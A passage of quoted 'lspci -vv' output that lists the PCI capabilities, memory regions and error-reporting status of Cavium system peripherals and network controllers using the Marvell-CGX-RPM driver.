> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 82
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0a.2 System peripheral: Cavium, Inc. Device a094
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e122000000 (32-bit, non-prefetchable) [size=1M]
> Region 4: [virtual] Memory at 87e122f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 96
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0c.0 System peripheral: Cavium, Inc. Device a073
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e010000000 (32-bit, non-prefetchable) [size=1M]
> Region 2: [virtual] Memory at 87e1bf000000 (32-bit, non-prefetchable) [size=16M]
> Region 4: [virtual] Memory at 87e010100000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0003]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 120
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:0f.0 System peripheral: Cavium, Inc. Device a061
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e018000000 (32-bit, non-prefetchable) [size=64K]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 128
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:10.0 Network controller: Cavium, Inc. Device a060
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0e0000000 (32-bit, non-prefetchable) [size=8M]
> Region 4: [virtual] Memory at 87e0e0800000 (32-bit, non-prefetchable) [size=8M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=18 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 129
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: Marvell-CGX-RPM
>
> 0000:01:10.1 Network controller: Cavium, Inc. Device a060
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e0e1000000 (32-bit, non-prefetchable) [size=8M]
> Region 4: [virtual] Memory at 87e0e1800000 (32-bit, non-prefetchable) [size=8M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable+ Count=18 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 160
> ARICtl: MFVC- ACS-, Function Group: 0
> Kernel driver in use: Marvell-CGX-RPM
>
> 0000:01:14.0 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e140000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 161
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.1 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e141000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 162
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.2 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e142000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 163
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.3 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e143000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 164
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:14.4 System peripheral: Cavium, Inc. Device a097
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e144000000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
